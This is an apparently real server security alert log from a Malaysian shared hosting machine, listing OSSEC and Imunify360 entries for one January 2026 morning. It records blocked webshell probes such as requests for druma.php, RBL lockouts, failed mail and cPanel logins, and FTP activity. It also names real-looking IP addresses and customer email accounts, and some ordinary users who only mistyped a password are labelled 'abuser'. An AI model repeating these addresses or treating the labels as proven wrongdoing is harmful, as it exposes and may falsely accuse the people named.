abuser: 173.255.160.245
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-33.173.255.160.245||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:34:05 sv3 pure-ftpd[446502]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:34:26 sv3 pure-ftpd[446502]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1050_PMR_MGM_2026_edm/images/icon.jpg


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:34:33 sv3 pure-ftpd[447129]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (29845 bytes, 954.44KB/sec)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/m.me/img/video.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:34:11 sv3 pure-ftpd[446502]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.240
country_id: 690791
description:
Jan 16 11:36:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/m.me/images/home/druma.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.240
country_id: 690791
description:
Jan 16 11:37:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.40
country_id: 798544
description:
Jan 16 11:37:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.189.127
country_id: 3469034
description:
Jan 16 11:38:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.189.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.43
country_id: 3469034
description:
Jan 16 11:38:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.43 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:38:23 sv3 pure-ftpd[452369]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:38:06 sv3 pure-ftpd[452369]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:38:08 sv3 pure-ftpd[452369]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:38:27 sv3 pure-ftpd[452964]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (29845 bytes, 1139.96KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.171.78.101
country_id: 3686110
description:
Jan 16 11:38:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.171.78.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.171.78.101
country_id: 3686110
description:
Jan 16 11:39:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.171.78.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:39:38 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40468: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 11:40:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58023: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:40:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40469: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.246.0.10
country_id: 3895114
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Accessories/Comparison Stretch Film - 0A-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:41:38 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42301: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:42:13 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42303: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.117.0
country_id: 3469034
description:
Jan 16 11:42:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.117.0 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-16 11:42:42 H=([45.144.212.50]) [45.144.212.50]:59140 F=<arm@da-desk.com> rejected RCPT <khim@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.107.14
country_id: 3469034
description:
Jan 16 11:42:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.107.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 11:43:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:43:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40471: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/component/tag/img/druma_photos/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.82.233
country_id: 1814991
description:
2026-01-16 11:45:46 dovecot_login authenticator failed for H=(baroi) [171.110.82.233]:53110: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:45:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42316: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-16 11:45:07 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.82.233
country_id: 1814991
description:
2026-01-16 11:46:05 dovecot_login authenticator failed for H=(eahrp) [171.110.82.233]:53110: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:46:13 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40473: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:46:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40474: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:47:32 sv3 pure-ftpd[468952]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (29847 bytes, 499.98KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.3
country_id: 2395170
description:
Jan 16 11:47:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:47:48 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42327: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:47:27 sv3 pure-ftpd[452369]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/images/banner.jpg


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:47:30 sv3 pure-ftpd[468952]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/druma.php||SC:/home/indfinitydesign/public_html/images/druma.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:48:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42328: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 11:48:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:49:13 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40476: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.80
country_id: 298795
description:
Jan 16 11:49:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.91.180.33
country_id: 3469034
description:
Jan 16 11:50:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.91.180.33 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:50:56 sv3 pure-ftpd[473656]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:50:57 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42336: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.80
country_id: 298795
description:
Jan 16 11:50:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.80 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 11:51:01 sv3 pure-ftpd[473656]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (29853 bytes, 1148.31KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:51:03 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42336: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.84
country_id: 3175395
description:
Jan 16 11:52:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 11:53:21 H=([45.144.212.242]) [45.144.212.242]:53476 F=<no_reply@admin.com> rejected RCPT <aoto@aoto.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 11:53:58 H=([45.144.212.242]) [45.144.212.242]:64650 F=<no_reply@admin.com> rejected RCPT <info@aire-fresh.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 11:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61179: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.17
country_id: 953987
description:
Jan 16 11:56:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.135.254
country_id: 3469034
description:
Jan 16 11:56:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.135.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.135.254
country_id: 3469034
description:
Jan 16 11:57:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.135.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 11:59:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40478: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.193
country_id: 3469034
description:
Jan 16 12:00:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.80.42.27
country_id: 3469034
description:
Jan 16 12:00:29 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.80.42.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.193
country_id: 3469034
description:
Jan 16 12:01:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:01:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:42934: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:04:19 sv3 pure-ftpd[494935]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (27620 bytes, 1152.83KB/sec)


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:04:13 sv3 pure-ftpd[452369]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/images/banner2.jpg


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:04:16 sv3 pure-ftpd[494935]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.220
country_id: 1269750
description:
Jan 16 12:05:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.220 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.145.205.99
country_id: 3469034
description:
Jan 16 12:05:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.145.205.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.102
country_id: 3175395
description:
Jan 16 12:05:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.102 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:06:01 sv3 pure-ftpd[498081]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:06:06 sv3 pure-ftpd[498081]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (27620 bytes, 950.31KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.253.19
country_id: 3865483
description:
Jan 16 12:06:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.253.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.220
country_id: 1269750
description:
Jan 16 12:05:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 12:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58065: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:08:42 sv3 pure-ftpd[504732]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:08:43 sv3 pure-ftpd[504732]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.206.101.240
country_id: 2017370
description:
2026-01-16 12:09:51 dovecot_login authenticator failed for H=(pool-5-206-101-240.is74.ru) [5.206.101.240]:54080: 535 Incorrect authentication data (set_id=bptioh)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 16 12:09:00 sv3 pure-ftpd[505055]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB888_MOHE_Pre-Graduates edm_26/index_edm.html uploaded  (27331 bytes, 692.90KB/sec)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.58.114
country_id: 1269750
description:
Jan 16 12:09:20 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.58.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.58.114
country_id: 1269750
description:
2026-01-16 12:09:22 dovecot_login authenticator failed for H=([182.95.58.114]) [182.95.58.114]:59022: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.100
country_id: 3469034
description:
Jan 16 12:11:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-11.89.110.114.187||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.174.61
country_id: 1733045
description:
[2026-01-16 12:11:26 +0800] info [webmaild] 175.139.174.61 - admin@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.100
country_id: 3469034
description:
Jan 16 12:12:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 27.125.243.125
country_id: 1733045
domain: dsc-expat.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 8.1.0; CPH1803 Build/OPM1.171019.026; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.181 Mobile Safari/537.36 trill_410603 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/trill app_version/41.6.3 ByteLocale/en ByteFullLocale/en Region/MY AppId/1180 Spark/1.7.2 AppVersion/41.6.3 PIA/2.5.3 BytedanceWebview/d8a21c6||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.250.111
country_id: 3469034
description:
Jan 16 12:17:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.250.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:17:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:40481: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.97.183.184
country_id: 3469034
description:
Jan 16 12:18:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.97.183.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.214
country_id: 953987
description:
Jan 16 12:19:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:43547: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.171
country_id: 3175395
description:
Jan 16 12:19:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.62
country_id: 2017370
description:
Jan 16 12:19:13 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.62
country_id: 2017370
description:
2026-01-16 12:19:15 dovecot_login authenticator failed for H=([178.178.222.62]) [178.178.222.62]:42310: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.135.195.37
country_id: 1522867
description:
Jan 16 12:19:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.135.195.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.135.195.37
country_id: 1522867
description:
2026-01-16 12:20:00 dovecot_login authenticator failed for H=2.135.195.37.dynamic.telecom.kz [2.135.195.37]:42696: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.111.118
country_id: 1269750
description:
Jan 16 12:20:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.111.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.118
country_id: 1269750
description:
2026-01-16 12:20:28 dovecot_plain authenticator failed for H=(nommess) [27.123.111.118]:46534: 535 Incorrect authentication data (set_id=meekee.ngu@tujusetia.my)


plugin: ossec
